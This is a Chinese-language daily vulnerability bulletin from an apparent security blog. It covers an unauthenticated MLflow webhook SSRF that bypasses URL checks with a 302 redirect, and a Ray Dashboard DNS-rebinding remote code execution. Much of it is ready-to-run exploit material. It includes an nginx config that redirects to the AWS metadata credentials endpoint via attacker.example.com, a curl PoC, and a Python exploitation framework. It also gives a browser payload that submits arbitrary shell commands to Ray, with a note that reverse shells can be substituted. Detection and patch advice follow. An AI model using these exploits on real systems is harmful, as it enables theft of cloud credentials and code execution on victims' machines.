每日漏洞推送MLflowWebhook投递未认证全读SSRF

admin 2026-08-21 06:22:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: MLflow3.15.0以下版本存在未认证全读SSRF漏洞(CVE-2026-64849),CVSS9.3。攻击者通过302重定向绕过URL校验,可读取云元数据或内网服务。已确认在野利用,CISA已加入KEV目录。建议立即升级至3.15.0或更高版本。 综合评分: 89 文章分类: 漏洞分析,渗透测试,应急响应


每日漏洞推送 MLflow Webhook投递未认证全读SSRF

原创

nullchen nullchen

富贵学安全

2026年8月20日 10:35 陕西

在小说阅读器读本章

去阅读

📡 每日漏洞情报推送 | 2026-08-20

🔴 漏洞一:CVE-2026-64849 — MLflow Webhook投递未认证全读SSRF(302重定向绕过校验)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-64849 | | 影响产品 | MLflow < 3.15.0(含 3.10.0~3.13.0 默认 SQLite 服务器;pip 包 mlflow) | | 漏洞类型 | 服务端请求伪造 SSRF (CWE-918) → 云元数据/内网凭据窃取 | | CVSS | 9.3 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N | | 触发位置 | 未认证 POST /api/2.0/mlflow/webhooks/{id}/test + mlflow/webhooks/delivery.py 重定向跟随 | | 发现者 | @freeman-bb(私有报告 2026-06-12)/ @AUTHENSOR(独立发现,issue #24179) | | 公开时间 | 2026-08-17(GitHub Advisory GHSA-7gwp-5pfp-969j) / 2026-08-19(NVD / CISA KEV 收录) | | 在野利用 | ✅ 已确认在野利用 — CISA KEV 收录(SSVC: exploitation=active, automatable=yes, technicalImpact=total) |

🔥 紧急程度

CISA 已于 2026-08-19 将该漏洞加入 KEV 目录,联邦机构须在 2026-09-02 前完成修复。 这是 MLflow 默认开箱配置(mlflow server + SQLite、无认证)即可触发的未认证全读 SSRF:攻击者无需任何凭据即可让 MLflow 服务器代为请求任意内网地址并读取响应内容——包括 AWS 169.254.169.254 云元数据服务(可窃取 IAM 临时凭据)、内网管理服务、以及通过 307/308 重定向向内网 POST 端点盲写数据。MLflow 是 AI/ML 平台中最流行的开源组件之一,大量企业自托管 Tracking Server 暴露在公网,风险极高。

📝 漏洞描述

默认 MLflow Tracking Server(mlflow server,无认证,默认 SQLite 后端)暴露未认证的模型注册 Webhook API,其中包含同步端点 POST /api/2.0/mlflow/webhooks/{id}/test,会将上游响应状态码和响应体直接回显给调用者

PR #20747(3.10.0 引入)添加的 SSRF 防护 _validate_webhook_url()mlflow/utils/validation.py)存在关键缺陷

# mlflow/utils/validation.py — _validate_webhook_url
schemes=_MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() &nbsp; &nbsp; &nbsp; &nbsp;# 默认 ["https"]
ifparsed_url.schemenotinschemes:&nbsp;raise...
ifnot_MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): &nbsp; &nbsp; &nbsp; &nbsp;# 默认 False
&nbsp; &nbsp;&nbsp;foraddr_infoinsocket.getaddrinfo(hostname,&nbsp;None):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ip=ipaddress.ip_address(addr_info[4][0])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnotip.is_global:&nbsp;raise...&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 拦截 RFC1918/环回/链路本地/元数据

# mlflow/webhooks/delivery.py — _send_webhook_request
def_send_webhook_request(webhook,&nbsp;payload,&nbsp;event,&nbsp;session):
&nbsp; &nbsp;&nbsp;_validate_webhook_url(webhook.url) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 只校验"原始"URL
&nbsp; &nbsp;&nbsp;returnsession.post(webhook.url,&nbsp;data=payload_bytes,&nbsp;headers=headers,&nbsp;timeout=timeout)
&nbsp; &nbsp;&nbsp;# 没有 allow_redirects=False → 302 被跟随;重定向目标从不重新校验

三个事实叠加构成漏洞:

  1. Webhook 端点默认未认证 — Webhook 授权只存在于可选认证插件中,默认不加载;
  2. 校验但不固定(validate but pin nothing) — 解析出的 IP 从未绑定到连接;DNS 解析与 requests 实际连接各自独立进行(TOCTOU);
  3. 投递跟随重定向且不重新校验 — session.post() 默认跟随 302,重定向 Location 指向内网/元数据地址时不再校验

绕过向量:

  • 302 重定向(可靠):攻击者托管一个通过校验的公网 HTTPS 端点,返回 302 Location: http://169.254.169.254/...(或 http://127.0.0.1:...),MLflow 跟随且不重新校验;
  • DNS rebinding(TOCTOU):校验时 getaddrinfo 与连接时解析独立,可利用 DNS 重绑定。

由于 /test 端点回显响应体(WebhookTestResult.response_body),这是默认服务器上的未认证全读 SSRF。经确认 3.13.0 及 master 均受影响(PR #20747 防护的不完整修复)。

重定向变体:

  • 302(读):GET 重定向目标,回显任意内网 HTTP 响应(云元数据、内网服务);
  • 307/308(盲写):保留 POST 方法与请求体,可向内网 POST 端点(Docker daemon /stop、Elasticsearch /_close、Spring Boot Actuator /shutdown)发送攻击者控制的 payload。

💻 PoC/EXP

1️⃣ 攻击者重定向服务器(Nginx,需公网IP + 有效TLS证书)

# /etc/nginx/sites-available/ssrf_redirect
# 攻击者控制的公网 HTTPS 主机,通过校验后将请求 302 重定向到云元数据
server&nbsp;{
&nbsp; &nbsp;&nbsp;listen443 ssl;
&nbsp; &nbsp;&nbsp;server_name&nbsp;attacker.example.com;
&nbsp; &nbsp;&nbsp;ssl_certificate&nbsp; &nbsp; &nbsp;/etc/letsencrypt/live/attacker.example.com/fullchain.pem;
&nbsp; &nbsp;&nbsp;ssl_certificate_key&nbsp;/etc/letsencrypt/live/attacker.example.com/privkey.pem;

&nbsp; &nbsp;&nbsp;# 读取 AWS IAM 临时凭据(IMDSv1)
&nbsp; &nbsp;&nbsp;location&nbsp;/innocent&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return302 http://169.254.169.254/latest/meta-data/iam/security-credentials/;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;# 或读取任意内网服务
&nbsp; &nbsp;&nbsp;# location /innocent { return 302 http://127.0.0.1:6379/; } &nbsp; # Redis INFO
}

2️⃣ 核心利用链(curl 手工验证)

#!/bin/bash
# CVE-2026-64849 MLflow 未认证全读 SSRF PoC
# 来源: GitHub Advisory GHSA-7gwp-5pfp-969j(官方披露的原始PoC流程)
# 用法: ./poc.sh https://target-mlflow-server https://attacker.example.com
# 注意: 仅用于授权安全测试

TARGET="${1:-http://localhost:5000}"
ATTACKER="${2:-https://attacker.example.com}"

echo"[*] 目标:&nbsp;$TARGET&nbsp; &nbsp; 攻击者重定向主机:&nbsp;$ATTACKER"

echo""
echo"=== [Step 0] 负向对照:验证防护确实存在(直接内网URL应被拒) ==="
curl-sk-X&nbsp;POST&nbsp;"$TARGET/api/2.0/mlflow/webhooks"&nbsp;\
&nbsp;&nbsp;-H"Content-Type: application/json"&nbsp;\
&nbsp;&nbsp;-d'{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}'
# → 预期 400: {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}

echo""
echo"=== [Step 1] 创建指向攻击者公网HTTPS主机的Webhook(通过校验) ==="
RESP=$(curl -sk -X POST "$TARGET/api/2.0/mlflow/webhooks" \
&nbsp; -H "Content-Type: application/json" \
&nbsp; -d "{\"name\":\"poc\",\"url\":\"${ATTACKER}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}")
echo"$RESP"
WEBHOOK_ID=$(echo "$RESP" | grep -o '"webhook_id":"[^"]*"' | cut -d'"' -f4)

if&nbsp;[&nbsp;-z"$WEBHOOK_ID"&nbsp;];&nbsp;then
&nbsp; &nbsp;&nbsp;echo"[-] Webhook 创建失败(检查目标是否使用 SQL 存储后端)"
&nbsp; &nbsp;&nbsp;exit1
fi
echo"[+] Webhook ID:&nbsp;$WEBHOOK_ID"

echo""
echo"=== [Step 2] 触发 /test —— 服务器代为请求内网,响应体回显 ==="
curl-sk-X&nbsp;POST&nbsp;"$TARGET/api/2.0/mlflow/webhooks/${WEBHOOK_ID}/test"&nbsp;\
&nbsp;&nbsp;-H"Content-Type: application/json"&nbsp;\
&nbsp;&nbsp;-d"{\"webhook_id\":\"${WEBHOOK_ID}\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}"

echo""
echo"[!] 若 response_body 中出现 AccessKeyId/SecretAccessKey/Token → 云IAM凭据泄露确认"
echo"[!] 响应体即 169.254.169.254 元数据服务返回的 IAM 临时凭据"

3️⃣ Python 自动化利用框架

#!/usr/bin/env python3
"""
CVE-2026-64849 — MLflow 未认证全读 SSRF 检测/利用框架
来源: GitHub Advisory GHSA-7gwp-5pfp-969j(官方PoC重构)
注意: 仅用于授权安全测试
"""
importrequests
importjson
importsys
importurllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/128.0 Safari/537.36"

classMLflowSSRF:
&nbsp; &nbsp;&nbsp;def__init__(self,&nbsp;target,&nbsp;attacker_redirect):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target=target.rstrip("/")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.attacker=attacker_redirect&nbsp;&nbsp;# 攻击者公网HTTPS重定向主机
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s=requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s.headers.update({"User-Agent":&nbsp;UA})
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s.verify=False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.webhook_id=None

&nbsp; &nbsp;&nbsp;defcheck_guard(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""负向对照:直接内网 URL 应被 _validate_webhook_url 拒绝"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(f"{self.target}/api/2.0/mlflow/webhooks",&nbsp;json={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"neg",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"url":&nbsp;"http://127.0.0.1:6379/",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"events": [{"entity":&nbsp;"REGISTERED_MODEL",&nbsp;"action":&nbsp;"CREATED"}],
&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 负向对照 → HTTP&nbsp;{r.status_code}:&nbsp;{r.text[:100]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnr.status_code==400&nbsp;&nbsp;# 防护存在

&nbsp; &nbsp;&nbsp;defcreate_webhook(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""创建指向攻击者主机的 Webhook"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(f"{self.target}/api/2.0/mlflow/webhooks",&nbsp;json={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"poc",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"url":&nbsp;f"{self.attacker}/innocent", &nbsp;&nbsp;# 公网HTTPS,通过校验
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"events": [{"entity":&nbsp;"REGISTERED_MODEL",&nbsp;"action":&nbsp;"CREATED"}],
&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifr.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.webhook_id=r.json()["webhook"]["webhook_id"]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Webhook 创建成功:&nbsp;{self.webhook_id}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Webhook 创建失败: HTTP&nbsp;{r.status_code}{r.text[:200]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnFalse

&nbsp; &nbsp;&nbsp;deftrigger_test(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""触发 /test,服务器跟随302访问内网并回显响应体"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{self.target}/api/2.0/mlflow/webhooks/{self.webhook_id}/test",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;json={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"webhook_id":&nbsp;self.webhook_id,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"event": {"entity":&nbsp;"REGISTERED_MODEL",&nbsp;"action":&nbsp;"CREATED"},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;timeout=30)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] /test → HTTP&nbsp;{r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;result=r.json()["result"]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] response_status:&nbsp;{result.get('response_status')}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body=result.get("response_body",&nbsp;"")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] response_body 前500字符:\n{body[:500]}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifany(kinbodyforkin&nbsp;("AccessKeyId",&nbsp;"SecretAccessKey",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"Token",&nbsp;"secret",&nbsp;"password")):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] ⚠️ 疑似敏感信息/云凭据泄露!")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 解析失败:&nbsp;{e}&nbsp;| 原始响应:&nbsp;{r.text[:200]}")

&nbsp; &nbsp;&nbsp;defrun(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 目标:&nbsp;{self.target}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifnotself.check_guard():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 负向对照未返回400——目标可能已修复或后端不支持")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifself.create_webhook():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.trigger_test()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[+] 进一步利用提示:")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;- 重定向到 http://169.254.169.254/ → 窃取云IAM凭据")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;- 重定向到内网服务 → 端口扫描/读取敏感接口")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;- 307/308 重定向 → 向内网POST端点盲写(如Docker /stop)")

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;iflen(sys.argv)&nbsp;<3:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"用法:&nbsp;{sys.argv[0]}&nbsp;<target> <attacker_redirect_host>")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sys.exit(1)
&nbsp; &nbsp;&nbsp;MLflowSSRF(sys.argv[1],&nbsp;sys.argv[2]).run()

4️⃣ 利用链图示

攻击者(未认证) ──POST /api/2.0/mlflow/webhooks──► MLflow Server
&nbsp; &nbsp; &nbsp; │ &nbsp;url = https://attacker.example.com/innocent &nbsp;← 公网HTTPS, 通过 _validate_webhook_url
&nbsp; &nbsp; &nbsp; ▼
&nbsp; POST /api/2.0/mlflow/webhooks/<ID>/test
&nbsp; &nbsp; &nbsp; ▼
&nbsp; MLflow 服务器请求 https://attacker.example.com/innocent
&nbsp; &nbsp; &nbsp; ▼ (302)
&nbsp; MLflow 跟随重定向 → http://169.254.169.254/latest/meta-data/...
&nbsp; &nbsp; &nbsp; │ &nbsp;重定向目标从不重新校验 (CWE-918)
&nbsp; &nbsp; &nbsp; ▼
&nbsp; /test 响应回显 response_body = IAM临时凭据/内网敏感数据
&nbsp; &nbsp; &nbsp; ├── 云元数据凭据窃取 (C:H)
&nbsp; &nbsp; &nbsp; ├── 内网服务扫描/读取
&nbsp; &nbsp; &nbsp; └── 307/308 盲写内网管理端点 (I:L)

🛡️ 检测与防御

日志检测IOC

- access.log 中出现 /api/2.0/mlflow/webhooks 未认证创建请求(无 session cookie)
- /api/2.0/mlflow/webhooks/{id}/test 高频调用
- 服务器出站流量中出现 169.254.169.254、127.0.0.1、10./172.16./192.168. 目标
- 新增 webhook URL 指向与业务无关的外部域名

WAF拦截规则(ModSecurity)

# 拦截未认证 webhook 创建与 test 调用
SecRule REQUEST_URI "@contains /api/2.0/mlflow/webhooks" \
&nbsp; "id:1000021,phase:1,deny,status:403,\
&nbsp; msg:'MLflow webhook API access (CVE-2026-64849)'"

修复建议

| 方式 | 说明 | | — | — | | 立即升级 | MLflow ≥ 3.15.0(PR #24258,commit ba94952247,新增 SSRFProtectedHTTPAdapter:每次 connect() 后校验对端 IP,覆盖重定向目标与 DNS rebinding TOCTOU) | | 网络层缓解 | 在防火墙/安全组阻断服务器到 169.254.169.254 及内网网段的出站流量;MLflow 服务器与云元数据隔离 | | 启用认证 | 部署 MLflow 认证插件(auth plugin),Webhook 端点不再匿名可达 | | 禁用Webhook | 不需要模型注册 Webhook 时在配置中关闭该功能 | | 出站代理 | 经企业代理出站并对目标地址做白名单/校验 | | 日志排查 | 检查历史日志中是否有可疑 webhook 创建与 /test 调用记录 |

🔗 参考来源

  • NVD CVE-2026-64849
  • GitHub Advisory GHSA-7gwp-5pfp-969j(完整PoC)
  • GitHub Issue #24179(独立发现)
  • 修复 PR #24258
  • CISA KEV

🔴 漏洞二:CVE-2025-62593 — Ray 浏览器DNS重绑定RCE(User-Agent防护绕过)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2025-62593 | | 影响产品 | Ray < 2.52.0(python ray 包;Dashboard 默认 8265 端口) | | 漏洞类型 | 代码注入 (CWE-94) + CSRF (CWE-352) → 浏览器驱动的远程代码执行 | | CVSS | 9.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (CVSS 3.1: 8.8 HIGH) | | 触发位置 | Ray Dashboard /api/jobs//api/job_agent/jobs/(无认证)+ optional_utils.py 的 User-Agent 防护 | | 发现者 | @JLLeitschuh (Socket);fetch UA 绕过理论 @avilum (Oligo) | | 公开时间 | 2025-11-26(GitHub Advisory GHSA-q279-jhrf-cc6v) / 2026-08-17(CISA KEV 收录) | | 在野利用 | ✅ 已确认在野利用 — CISA KEV 收录(SSVC: exploitation=active),⏳ 截止日期 2026-08-20(今天!) |

🔥 紧急程度

CISA KEV 收录并要求今天(2026-08-20)前完成修复! Ray 是 AI 计算领域最主流的开源引擎之一,几乎所有 AI/ML 开发者的开发机上都在运行 ray start --head(Dashboard 默认监听 8265 端口且无任何认证)。攻击者构造恶意网站/恶意广告,开发者用 Firefox 或 Safari 访问后,通过 DNS rebinding 将浏览器请求重绑定到 localhost:8265,即可在开发者机器上执行任意 shell 命令——钓鱼、恶意广告(malvertising)即可触发,无需任何用户交互确认。该漏洞还可将浏览器作为 confused deputy 攻击内网其他 Ray 实例。

📝 漏洞描述

Ray 开发团队长期不在关键端点(/api/jobs/api/job_agent/jobs/)实施认证,仅靠一个基于 User-Agent 的启发式防护来阻止浏览器直接调用:

# python/ray/dashboard/optional_utils.py
defis_browser_request(req:&nbsp;Request)&nbsp;->bool:
&nbsp; &nbsp;&nbsp;"""...This heuristic is very weak, but hard for a browser to bypass-
&nbsp; &nbsp; eg, fetch/xhr and friends cannot alter the user-agent..."""
&nbsp; &nbsp;&nbsp;returnreq.headers["User-Agent"].startswith("Mozilla")
# python/ray/dashboard/http_server_head.py
@aiohttp.web.middleware
asyncdefbrowsers_no_post_put_middleware(self,&nbsp;request,&nbsp;handler):
&nbsp; &nbsp;&nbsp;if&nbsp;(dashboard_optional_utils.is_browser_request(request)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;andrequest.methodin&nbsp;[hdrs.METH_POST,&nbsp;hdrs.METH_PUT]):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnaiohttp.web.Response(status=405,&nbsp;text="Method Not Allowed for browser traffic.")
&nbsp; &nbsp;&nbsp;returnawaithandler(request)

核心缺陷:防护的假设(”浏览器无法修改 User-Agent”)是错误的。Firefox 和 Safari 的 fetch API 允许设置 User-Agent 头(Chrome 因一个 bug 反而不符合规范、无法修改,因此不受影响)。配合 DNS rebinding 攻击(nccgroup/singularity 等成熟工具):

  1. 恶意网站域名先解析到攻击者服务器(响应恶意页面);
  2. 攻击者服务器对页面中的 JS 下发新 DNS 解析,域名重新绑定到 127.0.0.1
  3. 浏览器同源策略认为仍是”同一站点”,允许 JS 向 http://127.0.0.1:8265 发起请求;
  4. JS 通过 fetch 设置 User-Agent: Other(非 Mozilla 开头)绕过防护;
  5. 向 /api/jobs/ POST 提交 job,entrypoint 字段即要执行的任意 shell 命令 → RCE

利用条件:受害者(Ray 开发者)使用 Firefox/Safari 访问恶意网页或点击恶意广告;Ray Dashboard 运行在默认配置(无认证)。

💻 PoC/EXP

1️⃣ 官方PoC载荷(nccgroup/singularity 集成,来自 GHSA-q279-jhrf-cc6v)

/**
&nbsp;* CVE-2025-62593 Ray RCE Payload — nccgroup/singularity 集成
&nbsp;* 来源: GitHub Advisory GHSA-q279-jhrf-cc6v / nccgroup/singularity PR&nbsp;#68
&nbsp;* 注意: 仅用于授权安全测试
&nbsp;*/

constRayRce=&nbsp;()&nbsp;=>&nbsp;{

&nbsp; &nbsp;&nbsp;// DNS rebinding 成功后调用(此时页面域名已解析到 127.0.0.1:8265)
&nbsp; &nbsp;&nbsp;functionattack(headers,&nbsp;cookie,&nbsp;body) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;consttimestamp=Date.now();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 跨平台命令:可替换为任意恶意命令(反弹shell等)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constcalculatorCommand=`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if command -v calc.exe >/dev/null 2>&1; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo Windows calculator launching
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;calc.exe &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif command -v open >/dev/null 2>&1; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo macOS calculator launching
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;open -a Calculator &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/System/Applications/Calculator.app/Contents/MacOS/Calculator &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif command -v gnome-calculator >/dev/null 2>&1; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;gnome-calculator &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif command -v kcalc >/dev/null 2>&1; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;kcalc &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif command -v xcalc >/dev/null 2>&1; then
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;xcalc &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fi
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo RAY RCE: By JLLeitschuh ${timestamp}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;`;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constdata=&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"entrypoint":&nbsp;calculatorCommand, &nbsp;&nbsp;// ← 任意shell命令执行点
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"runtime_env": {},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"job_id":&nbsp;null,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"metadata": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"job_submission_id":&nbsp;timestamp.toString(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"source":&nbsp;"nccgroup/singularity"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; };

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 关键:设置 User-Agent: Other → 绕过 is_browser_request 的 "Mozilla" 前缀检查
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sooFetch('/api/jobs/', {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;'POST',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;headers: {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'User-Agent':&nbsp;'Other', &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ← Firefox/Safari 允许修改 UA
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify(data),
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; .then(response=>response.json())
&nbsp; &nbsp; &nbsp; &nbsp; .then(data=>console.log('Success:',&nbsp;data))
&nbsp; &nbsp; &nbsp; &nbsp; .catch(error=>console.error('Error:',&nbsp;error));
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 检测重绑定后的服务是否为 Ray Dashboard
&nbsp; &nbsp;&nbsp;asyncfunctionisService(headers,&nbsp;cookie,&nbsp;body) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnsooFetch("/", {&nbsp;mode:&nbsp;'no-cors',&nbsp;credentials:&nbsp;'omit'&nbsp;})
&nbsp; &nbsp; &nbsp; &nbsp; .then(response=>response.text())
&nbsp; &nbsp; &nbsp; &nbsp; .then(d=>d.includes("You need to enable JavaScript"))
&nbsp; &nbsp; &nbsp; &nbsp; .catch(e=>false);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp;attack,&nbsp;isService&nbsp;};
};

Registry["Ray Jobs RCE"]&nbsp;=RayRce();

2️⃣ 手工复现步骤(Singularity 攻击流程)

# CVE-2025-62593 利用流程(基于官方PoC)
# 注意: 仅用于授权安全测试

# [受害者侧] 启动 Ray(默认无认证)
ray&nbsp;start--head--port=6379
# → Dashboard 监听 8265 端口

# [攻击者侧] 部署 DNS rebinding 工具
git&nbsp;clone https://github.com/nccgroup/singularity
cd&nbsp;singularity
# 按官方wiki完成部署(需公网域名 + 可控DNS)

# [受害者] 使用 Firefox 或 Safari 访问:
# &nbsp; http://[my.singularity.instance]:8265/manager.html
#
# [攻击者] 在 Singularity 界面:
# &nbsp; 1. "Attack Payload" 选择: Ray Jobs RCE (default port 8265)
# &nbsp; 2. 点击 "Start Attack"
